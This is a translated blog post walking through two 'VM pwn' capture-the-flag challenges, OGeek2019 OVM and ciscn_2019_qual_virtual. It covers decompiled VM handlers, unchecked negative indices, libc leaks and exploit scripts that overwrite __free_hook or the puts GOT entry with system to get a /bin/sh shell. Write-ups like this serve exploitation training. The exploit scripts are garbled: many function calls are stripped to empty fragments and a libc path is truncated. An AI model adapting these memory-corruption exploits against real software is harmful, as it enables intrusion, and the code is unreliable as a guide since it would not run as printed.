Location>code7788 >text

VMpwn Summary

Popularity:293 ℃/2024-12-16 18:51:33

Preface:

It's been a long time since I've updated my blog, and I've been learning about vm off and on, and I've only seen a few topics, but I'd still like to summarize, the so-called vmpwn is to apply for a piece of free to realize the relevant functions individually for the outgoing and incoming stack, registers, bss segments and so on, that is to say some assembly commands are realized by some functions, and the majority of vmpwn's entry points are mostly insecure subscripts. Leak something or modify something through subscripts, etc. .....

Here are some simple topics for vmpwn, but some very complex topics require strong reverse skills and slow analysis

[OGeek2019 Final]OVM

protection strategy

 

ida reverse

PC Program Counter, which holds a memory address that holds the next computer instruction to be executed. SP Pointer register that always points to the current stack top.

It is operated by the code instructions we enter, that is, the next code

The next step is to process the code we entered, specifically in the execute function.

ssize_t __fastcall execute(int a1)
{
  ssize_t result; // rax
  unsigned __int8 v2; // [rsp+18h] [rbp-8h]
  unsigned __int8 v3; // [rsp+19h] [rbp-7h]
  unsigned __int8 v4; // [rsp+1Ah] [rbp-6h]
  int i; // [rsp+1Ch] [rbp-4h]
//Here the bytes are divided into4for sb.,arev4,v3,v2and highs
  v4 = (a1 & 0xF0000u) >> 16;
  v3 = (unsigned __int16)(a1 & 0xF00) >> 8;
  v2 = a1 & 0xF;
  result = HIBYTE(a1); //Here the high byte is taken to match
  if ( HIBYTE(a1) == 0x70 )
  {
    result = (ssize_t)reg;
    reg[v4] = reg[v2] + reg[v3]; // addition
    return result;
  }
  if ( HIBYTE(a1) > 0x70u )
  {
    if ( HIBYTE(a1) == 0xB0 )
    {
      result = (ssize_t)reg;
      reg[v4] = reg[v2] ^ reg[v3]; // differentiation
      return result;
    }
    if ( HIBYTE(a1) > 0xB0u )
    {
      if ( HIBYTE(a1) == 0xD0 )
      {
        result = (ssize_t)reg;
        reg[v4] = (int)reg[v3] >> reg[v2]; // right shift
        return result;
      }
      if ( HIBYTE(a1) > 0xD0u )
      {
        if ( HIBYTE(a1) == 0xE0 )
        {
          running = 0;
          if ( !reg[13] )
            return write(1, "EXIT\n", 5uLL); // quit with the stack empty (i.e. when the stack is empty)
        }
        else if ( HIBYTE(a1) != 0xFF )
        {
          return result;
        }
        running = 0;
        for ( i = 0; i <= 15; ++i )
          printf("R%d: %X\n", (unsigned int)i, (unsigned int)reg[i]);// Print data
        return write(1, "HALT\n", 5uLL);
      }
      else if ( HIBYTE(a1) == 0xC0 )
      {
        result = (ssize_t)reg;
        reg[v4] = reg[v3] << reg[v2]; // shift left
      }
    }
    else
    {
      switch ( HIBYTE(a1) )
      {
        case 0x90u:
          result = (ssize_t)reg;
          reg[v4] = reg[v2] & reg[v3];
          break;
        case 0xA0u:
          result = (ssize_t)reg;
          reg[v4] = reg[v2] | reg[v3];
          break;
        case 0x80u:
          result = (ssize_t)reg;
          reg[v4] = reg[v3] - reg[v2];
          break;
      }
    }
  }
  else if ( HIBYTE(a1) == 0x30 )
  {
    result = (ssize_t)reg;
    reg[v4] = memory[reg[v2]];
  }
  else if ( HIBYTE(a1) > 0x30u )
  {
    switch ( HIBYTE(a1) )
    {
      case 0x50u:
        LODWORD(result) = reg[13];
        reg[13] = result + 1;
        result = (int)result;
        stack[(int)result] = reg[v4];
        break;
      case 0x60u:
        --reg[13];
        result = (ssize_t)reg;
        reg[v4] = stack[reg[13]];
        break;
      case 0x40u:
        result = (ssize_t)memory;
        memory[reg[v2]] = reg[v4];
        break;
    }
  }
  else if ( HIBYTE(a1) == 0x10 )
  {
    result = (ssize_t)reg;
    reg[v4] = (unsigned __int8)a1;
  }
  else if ( HIBYTE(a1) == 0x20 )
  {
    result = (ssize_t)reg;
    reg[v4] = (_BYTE)a1 == 0;
  }
  return result;
}

Here our input pc is given to reg[15], which is looped each time to match +1, and then proceeds to do the processing which is just the logic of the code above

Here's a python to see exactly what was taken (of course because I have a weak code base ....)

Then see the fetched actually 2,3,4 which is v4,v3,v2.

Then the analysis continues

So it's easy to see that the reg array is indexed by v2,v3 as subscripts.

But there is no limit on subscripts then it is possible to enter negative numbers to cause malicious data modification etc.

0x30 and 0x40, where the value of memory is taken to reg and the value of reg is taken to memory, respectively, but we can control their subscripts in the meantime.

Meanwhile, there's this.

We can assign and remove values to and from the reg.

Here, the value inside the reg is printed, but in groups of 4 digits.

Finally, free will be called to free what we type, so if we change the free_hook to system we can get the shell by typing /bin/sh.

Then you need to get a libc address, and it just so happens that you can get a libc address into the reg input earlier by using a negative subscript, and then do a print leak of the address

Here you can wrap the relevant function

def add(v4,v3,v2):
    opcode = u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])
    return opcode


def xor(v4,v3,v2):
    opcode = u32((p8(0xb0)+p8(v4)+p8(v3)+p8(v2))[::-1])
    return opcode

def rhl(v4,v3,v2):
    opcode = u32((p8(0xd0)+p8(v4)+p8(v3)+p8(v2))[::-1])
    return opcode

def lhl(v4,v3,v2):
    opcode = u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])
    return opcode

def readn(v4,v2):
    opcode = u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1])
    return opcode

def writen(v4,v2):
    opcode = u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])
    return opcode

def setnum(v4,v2):
    opcode = u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])
    return opcode


#n=(0x202060-0x201f80)/4 = 56
#-56 = 0xffffffc8
#-8
#stdin -> __free_hook = 0x2398

Since only 4 digits are available, only the lower and upper 4 digits can be taken separately

    readn(4,2), #reg[4] = memory[reg[2]] stdin+4
    setnum(1,0x10),
    lhl(1,1,0), #reg[1] = reg[1]<<reg[0] = 0x10 << 8= 0x1000

This is used to leak the libc address of stdin, which in turn gets the address of the free_hook

Because the last data written to this

 

So you can store the address of the free_hook -8 here, and then you can getshell the

So the whole idea is to get the libc address by constructing a negative subscript, then construct the high and low bits to divulge the libc address, then get the free_hook -8 address based on the offset, and then continue to write the comment function through the high and low bits to get the shell

EXP:

from gt import *
con("amd64")

io = process("./OVM")
libc = ELF("/home/su/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.")

def add(v4,v3,v2):
    opcode = u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])
    return opcode


def xor(v4,v3,v2):
    opcode = u32((p8(0xb0)+p8(v4)+p8(v3)+p8(v2))[::-1])
    return opcode

def rhl(v4,v3,v2):
    opcode = u32((p8(0xd0)+p8(v4)+p8(v3)+p8(v2))[::-1])
    return opcode

def lhl(v4,v3,v2):
    opcode = u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])
    return opcode

def readn(v4,v2):
    opcode = u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1])
    return opcode

def writen(v4,v2):
    opcode = u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])
    return opcode

def setnum(v4,v2):
    opcode = u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])
    return opcode

#n=(0x202060-0x201f80)/4 = 56
#-56 = 0xffffffc8
#-8
#stdin -> __free_hook = 0x2398
code =[
    setnum(0,8),# reg[0]=8
    setnum(1,0xff), #reg[1]=0xff
    setnum(2,0xff), #reg[2]=0xff
    lhl(2,2,0), #reg[2] = reg[2]<<reg[0] = 0xff << 0x8 =0xff00
    add(2,2,1), #reg[2] = reg[2] + reg[1] = 0xff00 + 0xff = 0xffff
    lhl(2,2,0), #reg[2] = reg[2]<<reg[0] = 0xffff << 0x8 = 0xffff00
    add(2,2,1), #reg[2] = reg[2] + reg[1] = 0xffff00 + 0xff = 0xffffff
    lhl(2,2,0), #reg[2] = reg[2]<<reg[0] = 0xffffff << 0x8 = 0xffffff00
    setnum(1,0xc8), #reg[3] = 0xc8
    add(2,2,1), #reg[2] = reg[2] = reg[2]+reg[1] = 0xffffff00 + 0xc8 = 0xffffffc8 = -56
    readn(3,2), #reg[3] = memory[reg[2]] stdin
    setnum(1,1), #reg[1] = 1
    add(2,2,1), #reg[2] = reg[2] + reg[1] = -55
    readn(4,2), #reg[4] = memory[reg[2]] stdin+4
    setnum(1,0x10),
    lhl(1,1,0), #reg[1] = reg[1]<<reg[0] = 0x10 << 8= 0x1000
    setnum(5,0x90),
    setnum(6,0x3),
    add(1,1,1),#reg[1] = reg[1] + reg[1] = 0x1000 + 0x1000 = 0x2000
    lhl(6,6,0), #reg[6] = reg[6]<<reg[0] = 0x3<<8 = 0x300
    add(1,1,6), #reg[1] = reg[1] + reg[6] = 0x2000+0x300= 0x2300
    add(1,1,5), #reg[1] = reg[1] + reg[5] = 0x2300 + 0x90 = 0x2390
    add(3,3,1), #reg[3] = reg[3] + reg[1] = __free_hook-8
    setnum(5,47),
    add(2,2,5), #reg[2] = reg[2] + reg[5] = -55+47 = -8
    writen(3,2), #memory[reg[2]] = reg[3] = memory[-8] = reg[3]
    setnum(5,1),
    add(2,2,5), #reg[2] = reg[2] + reg[1] = -8 +1 = -7
    writen(4,2) #memory[reg[2]] = reg[4] = memory[-7] = reg[4]  

]

("PC: ")
(str(0))
("SP: ")
(str(1))
("CODE SIZE: ")

(str(len(code)))

for i in code:
   (str(i))


("3: ")
last_4bytes = int((8),16)
suc("last_4bytes",last_4bytes)
("4: ")
high_4bytes = int((4),16)
suc("high_4bytes",high_4bytes)

libc_base = ((high_4bytes << 32) + last_4bytes) - ["__free_hook"] + 8
suc("libc_base",libc_base)
system = libc_base + ["system"]
(" OVM?\n")
payload = b'/bin/sh\x00' + p64(system)
#(io)
(payload)
()

ciscn_2019_qual_virtual

protection strategy

ida reverse analysis

 

It's still claiming space for stack, text, data, etc.

Here the corresponding bytes are converted by the relevant commands

Here the corresponding code is put into the text segment

After that, go to the appropriate function

Accepts three parameters, a1 is a pointer to a text segment structure, a2 is a pointer to a stack segment structure, and a3 is a pointer to a data segment structure.

Here's a look at the push function

Here a1,a2 is the original a3,a2.

8-byte set of opcodes, picked up upside down

Then the push function is to take a value from the data segment and give it to v3 and then give v3 to the stack.

pop is the opposite of

Focus on load and save

Accepts only one parameter which is the a3,data structure, that is to say, puts the data stuff plus the v2 offset to continue into data, and of course the value of v2 is also taken from inside the data

Of course save is the opposite operation, putting the value in data into v3, where v2 can still be controlled.

This question doesn't have got table full protection on, so you can change the got table of puts to system, then when you print the name later it will system("/bin/sh") to get the shell

Control the value of v2 to achieve negative indexing, so now there is a problem, because the stack pointer is stored in the heap block, so in order to achieve negative indexing to obtain the libc address then you need to modify the pointer first

The address taken here is the one shown below, and another thing to note is that the storage stack is stored in reverse order

Here 0xfffff.... value is -3, then the next save will take these two values, and -3 is the subscript will modify the data pointer to 0x4040d0

Here the two values of stack are taken into data, and then save modifies the data pointer

 

Here the offsets for stderr and system are taken.

stderr in the new pointer subscript is -1, then take -1 into data, then load into data

 

Continue to take an offset

add into data

Then finally push to the offset of the putsgot table, and then save to modify the putsgot table.

Finally, you can getshell

 

EXP:

from gt import *
con("amd64")
libc= ELF("/lib/x86_64-linux-gnu/.6")
io = process("./ciscn_2019_qual_virtual")
("name:")

("/bin/sh\x00")
# (io)
("instruction:")    
offest = ["system"] - ["_IO_2_1_stderr_"]
payload = 'push push save push load push add push save'
(payload)

("data:")

data = [0x4040d0,-3,-1,offest,-21] 
payload = ''
for i in data:
    payload+= str(i)+' '
(io)
(payload)

()

Summary:

vmpwn learning is far more than that, here can only be counted as a primer, a general understanding of vmpwn analysis methods and some common vulnerabilities, etc., for these partial reversal of the topic need to have a certain degree of reversal of the foundation, for me it is still more strenuous to read to understand to be a very long time, but I suggest that coupled with the dynamic debugging to see more of the changes, or easy to understand the .... .vmpwn is on hold for now

reference article

VM Pwn Learning - Security Guest - Security Information Platform

Learning summary about vm pwn | ZIKH26's Blog